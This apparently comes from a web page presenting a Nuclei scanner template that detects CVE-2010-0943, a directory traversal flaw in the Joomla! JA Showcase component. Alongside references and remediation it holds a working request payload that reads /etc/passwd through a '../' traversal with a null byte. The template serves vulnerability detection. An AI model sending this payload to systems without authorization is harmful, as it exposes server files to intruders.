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Joomla! Component com_jashowcase - Directory Traversal

ID: CVE-2010-0943

Severity: medium

Author: daffainfo

Tags: cve,cve2010,joomla,lfi,edb,joomlart

A directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php.

id: CVE-2010-0943
info:
name: Joomla! Component com_jashowcase - Directory Traversal
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server.
remediation: |
Update to the latest version of Joomla! Component com_jashowcase to fix the directory traversal vulnerability.
reference:
- https://www.exploit-db.com/exploits/11090
- https://nvd.nist.gov/vuln/detail/CVE-2010-0943
- https://exchange.xforce.ibmcloud.com/vulnerabilities/55512
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2010-0943
cwe-id: CWE-22
epss-score: 0.01155
epss-percentile: 0.83338
cpe: cpe:2.3:a:joomlart:com_jashowcase:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: joomlart
product: com_jashowcase
tags: cve,cve2010,joomla,lfi,edb,joomlart
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a0047304502205a87876deca4912c614255aa6b3a38b0e66d97c8814f99618f1a15295c058f5b022100a0e2ead0188a3c6417aec074a6d5463527365a37cea9066545fd5b8ded73ed2d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-0943.yaml"

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